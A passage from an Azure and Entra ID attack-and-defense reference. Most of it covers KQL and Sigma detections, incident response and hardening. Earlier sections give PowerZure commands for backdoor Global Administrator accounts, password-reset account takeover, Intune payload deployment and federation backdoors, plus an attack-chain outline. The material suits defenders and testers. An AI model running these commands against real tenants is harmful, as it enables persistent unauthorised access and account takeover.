8.3 OAuth App Persistence
Create or modify OAuth app with long-lived refresh tokens for persistent access:
offline_accessscope grants refresh tokens- Refresh tokens can last up to 90 days (or longer with specific configurations)
- Tokens survive password changes if the app consent is not revoked
8.4 Federation Backdoor
ATT&CK: T1484 (Domain Policy Modification)
Add a trusted federation domain to the tenant:
# Add federated domain with attacker-controlled IdP
# Allows authentication bypass — attacker mints SAML tokens for any user
# This is the technique used in SolarWinds/Solorigate (Golden SAML)
DETECTION OPPORTUNITIES:
// Detect federation changes
AuditLogs
| where OperationName has "federation" or OperationName has "domain"
| where OperationName in ("Set federation settings on domain", "Set domain authentication")
| project TimeGenerated, InitiatedBy, TargetResources, AdditionalDetails
8.5 Intune Script Deployment
# PowerZure — deploy script via Intune
New-AzureIntuneScript -Script 'C:\temp\payload.ps1'
# Auto-executes on devices when: script is new to device, or new user logs in
# No output returned to operator — stealthy
# Enumerate existing Intune scripts
Get-AzureIntuneScript
8.6 Automation Account Persistence
Create scheduled runbooks for persistent command execution:
# Create runbook in Automation Account
# Schedule for periodic execution
# Use RunAs credentials (Contributor by default)
8.7 User Account Creation
# PowerZure — create Entra ID user
New-AzureADUser -Username 'admin-backup@domain.com' -Password 'Password1234'
# Add to privileged role
Add-AzureADRole -Username 'admin-backup@domain.com' -Role 'Global Administrator'
# Add to group
Add-AzureADGroupMember -User 'admin-backup@domain.com' -Group 'IT Admins'
8.8 Password Reset for Account Takeover
# PowerZure — reset password
Set-AzureADUserPassword -Username john@contoso.com -Password 'newpassw0rd1'
DETECTION OPPORTUNITIES:
// Detect new credentials added to apps/service principals
AuditLogs
| where OperationName in ("Add service principal credentials", "Update application – Certificates and secrets management")
| project TimeGenerated, InitiatedBy, TargetResources
// Detect new user creation
AuditLogs
| where OperationName == "Add user"
| project TimeGenerated, InitiatedBy, TargetResources[0].userPrincipalName
// Detect role assignment changes
AuditLogs
| where OperationName in ("Add member to role", "Add eligible member to role")
| project TimeGenerated, InitiatedBy, TargetResources, ModifiedProperties
9. Tooling Reference
9.1 Offensive Tools
| Tool | Purpose | Language | Key Capability |
|---|---|---|---|
| PowerZure | Azure security assessment | PowerShell | Full attack chain: enum, exploit, persist |
| ROADtools | Azure AD enumeration & analysis | Python | Offline AD graph analysis, token manipulation |
| MicroBurst | Azure pentesting toolkit | PowerShell | Storage, subdomain, credential extraction |
| AzureHound | Attack path mapping | Go/PowerShell | BloodHound integration for Azure |
| Stormspotter | Azure AD object graphing | Python | Neo4j-based attack visualization |
| SkyArk | Privileged entity discovery | PowerShell | Shadow admin identification |
| MSOLSpray | Password spraying | PowerShell/Python | O365/Entra ID password testing |
| o365spray | User enum + password spray | Python | O365-specific with rate limiting |
| MFASweep | MFA detection | PowerShell | Multi-service MFA probe |
| adconnectdump | AD Connect credential extraction | Python | MSOL service account decryption |
| TokenTactics | Token manipulation | PowerShell | FOCI exploitation, token refresh |
| AADInternals | Entra ID manipulation | PowerShell | Comprehensive Entra toolkit |
| GraphRunner | Graph API post-exploitation | PowerShell | Email, Teams, OneDrive access |
9.2 PowerZure Function Reference
Information Gathering Functions
| Function | Description |
|---|---|
Get-AzureADAppOwner |
Returns all owners of all Applications in AAD |
Get-AzureADDeviceOwner |
Identifies device owners in Entra ID |
Get-AzureADGroupMember -Group 'name' |
Group membership via Graph API |
Get-AzureADRoleMember -Role 'name' |
Role membership including service principals |
Get-AzureADUser -Username UPN or -All |
User intelligence with group/role memberships |
Get-AzureCurrentUser |
Current user and owned objects |
Get-AzureIntuneScript |
Enumerate Intune scripts |
Get-AzureLogicAppConnector |
Logic App connector APIs and connections |
Get-AzureManagedIdentity |
Resources using system-assigned managed identity |
Get-AzurePIMAssignment |
PIM assignments in Azure resources |
Get-AzureRole -Role 'name' or -All |
Role membership and scope |
Get-AzureRunAsAccount |
Automation Account RunAs service accounts |
Get-AzureRolePermission -Permission 'def' |
Roles containing specific permissions |
Get-AzureSQLDB -Server 'name' or -All |
SQL databases, servers, admin credentials |
Get-AzureTarget |
Actionable access levels for current user |
Get-AzureTenantId -Domain 'name' |
Tenant ID from domain |
Show-AzureKeyVaultContent -Name 'vault' or -All |
Vault secrets, certificates, keys inventory |
Show-AzureStorageContent -StorageAccountName 'name' or -All |
Storage containers, shares, tables |
Operational Functions
| Function | Description | Required Role |
|---|---|---|
Add-AzureADRole |
Assign Entra ID role | Privileged Role Admin / GA |
Set-AzureElevatedPrivileges |
GA → User Access Admin (RBAC root) | Global Administrator |
Add-AzureADGroupMember |
Add user to group | Group admin / Owner |
New-AzureBackdoor |
Create SP with GA role | Global Administrator |
Add-AzureADSPSecret |
Add credential to service principal | Application Admin |
New-AzureADUser |
Create Entra ID user | User Administrator |
Get-AzureRunAsCertificate |
Extract RunAs certificates | Contributor (Automation) |
Get-AzureKeyVaultContent |
Extract Key Vault secrets | Key Vault access |
Export-AzureKeyVaultContent |
Download keys/certificates | Key Vault access |
Invoke-AzureRunCommand |
Execute commands on VMs | Contributor |
Invoke-AzureCustomScriptExtension |
Run via CSE (fewer logs) | Contributor |
Invoke-AzureCommandRunbook |
Execute via Automation RunAs | Contributor (Automation) |
Invoke-AzureRunMSBuild |
MSBuild payload on VMs (SYSTEM) | Contributor |
Invoke-AzureRunProgram |
Upload and execute binary on VM | Contributor |
Invoke-AzureVMUserDataAgent |
Deploy persistent polling agent | Contributor |
Invoke-AzureVMUserDataCommand |
Execute via userdata IMDS | Contributor |
Get-AzureStorageContent |
Extract storage blob/file content | Storage access |
Get-AzureVMDisk |
Generate 24hr disk download link | Contributor |
Get-AzureRunbookContent |
Extract runbook code | Reader (Automation) |
New-AzureIntuneScript |
Deploy script via Intune | Intune admin |
Set-AzureADUserPassword |
Reset user password | User Admin / Auth Admin |
Connect-AzureJWT |
Auth via JWT access token | N/A (token-based) |
9.3 Defensive & Audit Tools
| Tool | Purpose |
|---|---|
| ScoutSuite | Multi-cloud security posture assessment |
| Prowler | Azure security assessments and CIS benchmarking |
| Monkey365 | Microsoft 365/Azure/Entra ID security review |
| CRT (CrowdStrike) | Query tenant permissions and configurations |
| EIDSCA | Entra ID Security Config Analyzer |
| Sparrow.ps1 | Detect compromised accounts/applications |
| Hawk | O365 intrusion investigation |
| Microsoft Entra Toolkit | Application credential and permission auditing |
| SCuBA | CISA M365 security baseline compliance |
| CloudFox | Situational awareness automation |
10. Detection Engineering with Sentinel KQL
10.1 Sentinel Architecture
Microsoft Sentinel ingests logs from:
- Entra ID — Sign-in logs, Audit logs, Provisioning logs, Risk detections
- Azure Activity — Control plane operations
- Azure Diagnostics — Data plane operations (Key Vault, Storage, etc.)
- Microsoft 365 — UAL, Defender for Office 365
- Azure DevOps — Audit logs
- Custom connectors — Syslog, CEF, API-based
Repository: Azure Sentinel GitHub contains 53,000+ commits with detection rules, hunting queries, workbooks, playbooks, and parsers organized by:
Detections/— Rule-based threat detection templatesHunting Queries/— Proactive threat hunting KQLWorkbooks/— Visual dashboardsPlaybooks/— Automated response (Logic Apps)Data Connectors/— Integration configurationsASIM/— Advanced Security Information Model normalization
10.2 Critical Detection Rules
10.2.1 Identity-Based Detections
// === PASSWORD SPRAY DETECTION ===
SigninLogs
| where TimeGenerated > ago(1h)
| where ResultType == "50126" // Invalid username or password
| summarize
FailedAttempts = count(),
DistinctUsers = dcount(UserPrincipalName),
TargetedUsers = make_set(UserPrincipalName, 50)
by IPAddress, bin(TimeGenerated, 10m)
| where DistinctUsers > 10
| where FailedAttempts > 20
// === IMPOSSIBLE TRAVEL ===
SigninLogs
| where ResultType == 0
| extend City = tostring(LocationDetails.city), State = tostring(LocationDetails.state)
| summarize
Locations = make_set(pack("city", City, "ip", IPAddress)),
LocationCount = dcount(City),
MinTime = min(TimeGenerated),
MaxTime = max(TimeGenerated)
by UserPrincipalName
| where LocationCount > 1
| where datetime_diff('minute', MaxTime, MinTime) < 60
// === MFA FATIGUE / PUSH BOMBING ===
SigninLogs
| where ResultType == "50074" // MFA required
| summarize
MFAPrompts = count()
by UserPrincipalName, bin(TimeGenerated, 5m)
| where MFAPrompts > 5
// === TOKEN REPLAY DETECTION ===
SigninLogs
| where ResultType == 0
| where TokenIssuerType == "AzureAD"
| summarize
DistinctIPs = dcount(IPAddress),
IPs = make_set(IPAddress)
by UserPrincipalName, CorrelationId, bin(TimeGenerated, 1h)
| where DistinctIPs > 1
10.2.2 Application-Based Detections
// === NEW APP/SP CREDENTIAL ADDED ===
AuditLogs
| where OperationName in (
"Add service principal credentials",
"Update application – Certificates and secrets management"
)
| extend InitiatedByUPN = tostring(InitiatedBy.user.userPrincipalName)
| extend TargetApp = tostring(TargetResources[0].displayName)
| project TimeGenerated, InitiatedByUPN, OperationName, TargetApp
// === HIGH-PRIVILEGE APP PERMISSION GRANTED ===
AuditLogs
| where OperationName == "Add app role assignment to service principal"
| extend PermissionGranted = tostring(TargetResources[0].modifiedProperties)
| where PermissionGranted has_any ("ReadWrite.All", "Mail.Read", "Files.ReadWrite", "Directory.ReadWrite")
| project TimeGenerated, InitiatedBy, TargetResources, PermissionGranted
// === ILLICIT CONSENT GRANT ===
AuditLogs
| where OperationName == "Consent to application"
| extend IsAdminConsent = tostring(parse_json(tostring(TargetResources[0].modifiedProperties))[0].newValue)
| extend AppName = tostring(TargetResources[0].displayName)
| extend ConsentedBy = tostring(InitiatedBy.user.userPrincipalName)
| project TimeGenerated, ConsentedBy, AppName, IsAdminConsent
// === OAUTH APP WITH SUSPICIOUS PERMISSIONS ===
AuditLogs
| where OperationName == "Add delegated permission grant"
| extend Scope = tostring(TargetResources[0].modifiedProperties)
| where Scope has_any ("Mail.", "Files.", "Sites.", "User.ReadWrite", "Directory.")
| project TimeGenerated, InitiatedBy, Scope
// === DEVICE CODE FLOW USAGE ===
SigninLogs
| where AuthenticationProtocol == "deviceCode"
| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress, LocationDetails, RiskLevel
10.2.3 Resource-Based Detections
// === VM RUN COMMAND EXECUTION ===
AzureActivity
| where OperationNameValue == "MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION"
| project TimeGenerated, Caller, ResourceGroup, SubscriptionId,
Resource = tostring(parse_json(Properties).resource)
// === KEY VAULT SECRET ACCESS ===
AzureDiagnostics
| where ResourceType == "VAULTS"
| where OperationName in ("SecretGet", "SecretList")
| summarize
AccessCount = count(),
Secrets = make_set(id_s)
by CallerIPAddress, identity_claim_upn_s, bin(TimeGenerated, 1h)
| where AccessCount > 10
// === STORAGE ACCOUNT KEY LISTING ===
AzureActivity
| where OperationNameValue == "MICROSOFT.STORAGE/STORAGEACCOUNTS/LISTKEYS/ACTION"
| project TimeGenerated, Caller, ResourceGroup, Resource = tostring(parse_json(Properties).resource)
// === ROLE ASSIGNMENT CHANGES ===
AzureActivity
| where OperationNameValue == "MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE"
| extend RoleDefinition = tostring(parse_json(Properties).requestbody)
| project TimeGenerated, Caller, RoleDefinition, ResourceGroup
// === ELEVATION OF PRIVILEGES ===
AuditLogs
| where OperationName == "Elevate access"
| project TimeGenerated, InitiatedBy.user.userPrincipalName, Result
// === AUTOMATION RUNBOOK CREATION ===
AzureActivity
| where OperationNameValue has "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/WRITE"
| project TimeGenerated, Caller, Properties
10.2.4 Federation & Domain Detections
// === FEDERATION CONFIGURATION CHANGE (Golden SAML indicator) ===
AuditLogs
| where OperationName in (
"Set federation settings on domain",
"Set domain authentication",
"Add unverified domain",
"Add verified domain"
)
| project TimeGenerated, InitiatedBy, TargetResources, AdditionalDetails
// === ENTRA CONNECT SYNC ANOMALIES ===
AuditLogs
| where InitiatedBy.app.displayName == "Azure AD Connect" or OperationName has "sync"
| summarize count() by OperationName, bin(TimeGenerated, 1h)
| where count_ > 100 // Unusual volume of sync operations
10.2.5 Mail & M365 Detections
// === EMAIL FORWARDING RULE CREATION (BEC indicator) ===
OfficeActivity
| where Operation in ("New-InboxRule", "Set-InboxRule", "New-TransportRule", "Set-TransportRule")
| where Parameters has_any ("ForwardTo", "RedirectTo", "ForwardAsAttachmentTo")
| project TimeGenerated, UserId, Operation, Parameters, ClientIP
// === MAILBOX DELEGATION CHANGES ===
OfficeActivity
| where Operation in ("Add-MailboxPermission", "Add-RecipientPermission")
| project TimeGenerated, UserId, Operation, Parameters
// === MASS FILE DOWNLOAD FROM SHAREPOINT/ONEDRIVE ===
OfficeActivity
| where Operation == "FileDownloaded"
| summarize DownloadCount = count(), Files = make_set(OfficeObjectId, 10) by UserId, bin(TimeGenerated, 1h)
| where DownloadCount > 50
10.3 Sigma Rule Examples
# === Detect new service principal credentials ===
title: New Credential Added to Azure Service Principal
id: 3e7f4a12-8b9c-4d5e-a6f7-1234567890ab
status: experimental
description: Detects when new credentials are added to a service principal, which could indicate persistence
logsource:
category: audit
product: azure
detection:
selection:
operationName:
- "Add service principal credentials"
- "Update application – Certificates and secrets management"
condition: selection
falsepositives:
- Legitimate credential rotation by application administrators
- Automated CI/CD pipeline credential updates
level: high
tags:
- attack.t1098.001
- attack.persistence
---
# === Detect VM RunCommand execution ===
title: Azure VM RunCommand Execution
id: 5c8d2e3f-7a1b-4c9d-8e6f-abcdef123456
status: experimental
description: Detects RunCommand execution on Azure VMs which can indicate lateral movement or code execution
logsource:
category: azure_activity
product: azure
detection:
selection:
operationName: "MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION"
condition: selection
falsepositives:
- Legitimate VM management operations
- Azure Automation applying desired state configuration
level: medium
tags:
- attack.t1059
- attack.execution
10.4 Sentinel Workbooks
Key workbooks for Azure security monitoring:
- Conditional Access Insights — Policy evaluation results and gaps
- Sign-in Failure Analysis — Authentication failure patterns
- Azure AD Audit Activity — Tenant configuration changes
- Insecure Protocols — Legacy authentication usage
- Identity & Access — User and app activity overview
11. Incident Response for Azure
11.1 Compromised Application Investigation Playbook
[CONFIRMED] Microsoft's official IR playbook structure:
Phase 1: Triage (0-15 min)
- Determine application type — Multi-tenant (external developer) vs single-tenant (internal)
- Check Identity Protection — Risky workload identity detections
- Review sign-in behavior — Location, failure rate, timestamps, frequency
- Check target resources — What resources was the app accessing?
// Service principal sign-in anomalies
AADServicePrincipalSignInLogs
| where ServicePrincipalId == "<suspect_sp_id>"
| summarize count() by IPAddress, LocationDetails, ResourceDisplayName, bin(TimeGenerated, 1h)
Phase 2: Investigation
- Check credential changes:
GET https://graph.microsoft.com/v1.0/applications/{id}
# Parse keyCredentials and passwordCredentials
- Check permission changes:
AuditLogs
| where OperationName in ("Add app role assignment to service principal", "Add delegated permission grant")
| where TargetResources[0].id == "<app_id>"
- Check configuration changes — URI changes, owner changes, logout URL modifications
- Check consent grants:
AuditLogs
| where ActivityDisplayName == "Consent to application"
| where TargetResources[0].id == "<sp_id>"
- Review UAL for phishing indicators — Check application owners and consent admins for phishing in last 7-30 days
Phase 3: Containment
# Disable compromised application sign-in
$ServicePrincipalUpdate = @{ "accountEnabled" = "false" }
Update-MgServicePrincipal -ServicePrincipalId $spId -BodyParameter $ServicePrincipalUpdate
Phase 4: Recovery
- Rotate ALL credentials for the compromised application:
POST ~/applications/{id}/addKey # Add new certificate credential
POST ~/applications/{id}/removePassword # Remove old password credentials
POST ~/applications/{id}/removeKey # Remove old key credentials
- Rotate Key Vault secrets the SP had access to (priority: directly accessed > same vault > same subscription)
- Review and remove malicious consent grants
- Implement monitoring for re-enablement or recovery of deleted apps
11.2 Token Theft Response
- Revoke all refresh tokens for affected users
- Revoke session cookies via Conditional Access (require re-authentication)
- Check for persistence — new app credentials, federation changes, service principals
- Review sign-in logs for token replay from unusual IPs
11.3 Evidence Preservation
- Export Entra ID sign-in and audit logs BEFORE any remediation
- Capture Azure Activity logs for the relevant subscription(s)
- Export M365 Unified Audit Log
- Snapshot affected VM disks for forensics
- Export Key Vault access logs
- Document all service principal permissions and credentials
11.4 Azure VM Forensics
[EXTERNAL] Microsoft documentation and community research covers:
- Disk snapshot and offline analysis
- Memory acquisition from running VMs
- Network capture via NSG flow logs and packet capture
- Timeline construction from Azure Activity + OS logs
12. Hardening & Architecture
12.1 Entra ID Hardening Checklist
| # | Control | Priority | Reference |
|---|---|---|---|
| 1 | Block legacy authentication via Conditional Access | Critical | CIS Azure 1.1.1 |
| 2 | Enforce MFA for all users (phishing-resistant preferred) | Critical | NIST 800-63B AAL2+ |
| 3 | Implement Conditional Access baseline policies | Critical | Microsoft Security Baselines |
| 4 | Restrict user consent to apps (admin consent workflow) | High | CIS Azure 1.11 |
| 5 | Enable Identity Protection risk policies | High | Entra ID P2 |
| 6 | Limit Global Administrators (< 5, ideally 2) | High | CIS Azure 1.1.3 |
| 7 | Use PIM for privileged role activation | High | Entra ID P2 |
| 8 | Protect emergency access accounts (break-glass) | High | Microsoft guidance |
| 9 | Disable device code flow unless required | Medium | CA Authentication Flows |
| 10 | Monitor and restrict app registrations | Medium | App management policies |
| 11 | Enable EIDSCA for configuration monitoring | Medium | Community tool |
| 12 | Implement admin consent workflow | Medium | Entra admin center |
| 13 | Review and restrict dynamic group rules | Medium | Group management |
| 14 | Deploy Restricted Management AUs for sensitive accounts | Medium | Entra ID |
| 15 | Enable SSPR with strong methods only | Medium | Entra ID |
12.2 Azure Resource Hardening
| # | Control | Scope |
|---|---|---|
| 1 | Enable Azure Defender for all resource types | Subscription |
| 2 | Implement NSGs on all subnets (deny-all default) | Networking |
| 3 | Disable public blob access on storage accounts | Storage |
| 4 | Enable Key Vault soft-delete and purge protection | Key Vault |
| 5 | Use Private Endpoints for PaaS services | Networking |
| 6 | Enable diagnostic logging for all resources | Monitoring |
| 7 | Use managed identities instead of service principal secrets | Identity |
| 8 | Implement JIT VM access | Compute |
| 9 | Enable Azure Policy for compliance enforcement | Governance |
| 10 | Restrict Automation Account RunAs accounts | Automation |
| 11 | Enable encryption at rest and in transit | All resources |
| 12 | Implement resource locks on critical resources | Governance |
12.3 Zero Trust Architecture for Azure
┌─────────────────────────────────────┐
│ IDENTITY PLANE │
│ Entra ID + Conditional Access │
│ MFA + Device Compliance + Risk │
└──────────────┬──────────────────────┘
│
┌───────────────────┼───────────────────────┐
│ │ │
┌──────────▼──────┐ ┌────────▼────────┐ ┌──────────▼──────┐
│ MANAGEMENT │ │ DATA PLANE │ │ WORKLOAD │
│ PLANE │ │ │ │ PLANE │
│ │ │ │ │ │
│ Azure RBAC │ │ Storage ACLs │ │ App Service │
│ PIM │ │ Key Vault RBAC │ │ AKS RBAC │
│ Azure Policy │ │ SQL Firewall │ │ Function Auth │
│ Resource Locks │ │ Cosmos DB RBAC │ │ VM Extensions │
└────────┬────────┘ └────────┬────────┘ └────────┬────────┘
│ │ │
┌────────▼────────────────────▼─────────────────────▼────────┐
│ NETWORK PLANE │
│ NSGs + Azure Firewall + Private Link + Service Endpoints │
│ VNet Isolation + DDoS Protection + WAF │
└────────────────────────────────────────────────────────────┘
Zero Trust Principles Applied:
- Verify explicitly — Always authenticate and authorize based on all available data points (identity, location, device health, data classification)
- Use least privilege access — JIT/JEA access, risk-based adaptive policies, data protection
- Assume breach — Minimize blast radius, segment access, verify E2E encryption, use analytics for detection
12.4 Threat Model — Azure Application
┌─────────┐ HTTPS/TLS ┌──────────────┐ Managed ID ┌──────────────┐
│ User │ ──────────────────► │ App Service │ ──────────────────► │ Key Vault │
│ Browser │ [TB-1] │ (Workload) │ [TB-2] │ (Secrets) │
└─────────┘ └──────┬───────┘ └──────────────┘
│
│ Managed ID [TB-2]
▼
┌──────────────┐
│ SQL Database │
│ (Data Store) │
└──────────────┘
TB-1: Internet → App Service trust boundary
TB-2: App Service → Backend services trust boundary
STRIDE Analysis:
| Component | S | T | R | I | D | E |
|---|---|---|---|---|---|---|
| User → App Service | AiTM phishing | TLS downgrade | Insufficient logging | Session hijacking | App-layer DDoS | OAuth token theft |
| App Service → Key Vault | SP impersonation | Secret modification | Missing audit trail | Secret exposure | Service unavailability | Managed ID escalation |
| App Service → SQL DB | Connection string theft | SQL injection | Missing query logging | Data exfiltration | Resource exhaustion | Stored procedure abuse |
Appendix A: Attack Chain Quick Reference
A.1 Full Azure Attack Path
1. RECONNAISSANCE
└─► Tenant discovery (getuserrealm.srf, openid-configuration)
└─► Subdomain enumeration (MicroBurst)
└─► User enumeration (o365creeper, o365spray)
2. INITIAL ACCESS
└─► Password spray (MSOLSpray)
└─► Device code phishing
└─► AiTM phishing (EvilGinx)
└─► Illicit consent grant
3. EXECUTION
└─► VM RunCommand
└─► Custom Script Extension
└─► Automation Runbooks
└─► Function App code injection
4. PERSISTENCE
└─► Service principal backdoor (New-AzureBackdoor)
└─► App credential injection (Add-AzureADSPSecret)
└─► Federation backdoor (Golden SAML)
└─► Intune script deployment
└─► User account creation
5. PRIVILEGE ESCALATION
└─► GA → User Access Administrator (Set-AzureElevatedPrivileges)
└─► Dynamic group membership manipulation
└─► Custom role abuse (roleAssignments/write)
└─► Managed identity token theft → resource access
6. CREDENTIAL ACCESS
└─► Key Vault secret extraction
└─► Automation RunAs certificate extraction
└─► Entra Connect MSOL credential dump
└─► Storage account key listing
└─► PRT extraction (Mimikatz)
7. LATERAL MOVEMENT
└─► Cross-subscription via shared identities
└─► Entra Connect: Cloud → On-Prem AD (DCSync)
└─► FOCI token exchange
└─► VM → VM via managed identity + RBAC
8. EXFILTRATION
└─► Storage blob download
└─► VM disk snapshot download
└─► Mail/file access via Graph API
└─► Runbook content extraction
A.2 MITRE ATT&CK Mapping (Azure-Specific)
| Technique ID | Name | Azure Context |
|---|---|---|
| T1078.004 | Valid Accounts: Cloud Accounts | Compromised Entra ID credentials |
| T1098.001 | Additional Cloud Credentials | App/SP credential injection |
| T1098.003 | Additional Cloud Roles | Role assignment abuse |
| T1110.003 | Password Spraying | MSOLSpray against Entra ID |
| T1136.003 | Cloud Account | New user/SP creation |
| T1190 | Exploit Public-Facing Application | App Service/Function vulnerabilities |
| T1199 | Trusted Relationship | Service connection abuse in DevOps |
| T1484.002 | Trust Modification: Domain Trust | Federation backdoor |
| T1528 | Steal Application Access Token | IMDS token theft, PRT theft |
| T1530 | Data from Cloud Storage | Storage blob/file access |
| T1537 | Transfer Data to Cloud Account | Cross-tenant data movement |
| T1539 | Steal Web Session Cookie | AiTM cookie theft |
| T1550.001 | Application Access Token | OAuth token abuse |
| T1557 | Adversary-in-the-Middle | Reverse proxy phishing |
| T1566 | Phishing | Device code phishing, consent phishing |
| T1580 | Cloud Infrastructure Discovery | Resource enumeration |
| T1619 | Cloud Storage Object Discovery | Blob enumeration |
Appendix B: Lab Environment Setup
B.1 Recommended Lab Platforms
| Platform | Description |
|---|---|
| PurpleCloud | Hybrid identity cyber range (Terraform-based) |
| Azure Red Team Attack & Detect Workshop | Mandiant-provided exercises |
| DVWA-Azure | Deliberately vulnerable Azure deployment |
| AzureSecurityLabs | IaaS-focused security labs |
| BlueCloud | Windows VM security testing platform |
B.2 Required Tools Setup
# Python tools
pip install roadrecon roadtx
# PowerShell modules
Install-Module -Name Az
Install-Module -Name AzureAD
Install-Module -Name MSOnline
Import-Module MicroBurst.psm1
Import-Module PowerZure.psm1
# CLI tools
az login
az extension add --name azure-devops
Appendix C: Key References
C.1 Primary Sources
- Microsoft Entra Documentation: https://learn.microsoft.com/en-us/entra/
- Azure RBAC Documentation: https://learn.microsoft.com/en-us/azure/role-based-access-control/
- Microsoft Sentinel GitHub: https://github.com/Azure/Azure-Sentinel
- Entra ID Attack & Defense Playbook: https://github.com/Cloud-Architekt/AzureAD-Attack-Defense
- Awesome Azure Pentest: https://github.com/Kyuu-Ji/Awesome-Azure-Pentest
- Azure Red Team: https://github.com/rootsecdev/Azure-Red-Team
C.2 Tool Repositories
- PowerZure: https://github.com/hausec/PowerZure (docs: https://powerzure.readthedocs.io)
- ROADtools: https://github.com/dirkjanm/ROADtools
- MicroBurst: https://github.com/NetSPI/MicroBurst
- MSOLSpray: https://github.com/dafthack/MSOLSpray
- AADInternals: https://github.com/Gerenios/AADInternals
- TokenTactics: https://github.com/rvrsh3ll/TokenTactics
- GraphRunner: https://github.com/dafthack/GraphRunner
C.3 Research & Blogs
- SpecterOps Blog: https://specterops.io/blog
- NetSPI Azure Articles: https://www.netspi.com/blog/technical/cloud-penetration-testing/
- Dirk-jan Mollema: https://dirkjanm.io/
- Andy Robbins (BloodHound): https://posts.specterops.io/
- Microsoft IR Playbooks: https://learn.microsoft.com/en-us/security/operations/incident-response-playbooks
Document generated by CIPHER — Claude Integrated Privacy & Hardening Expert Resource Training classification: Authorized security operations reference material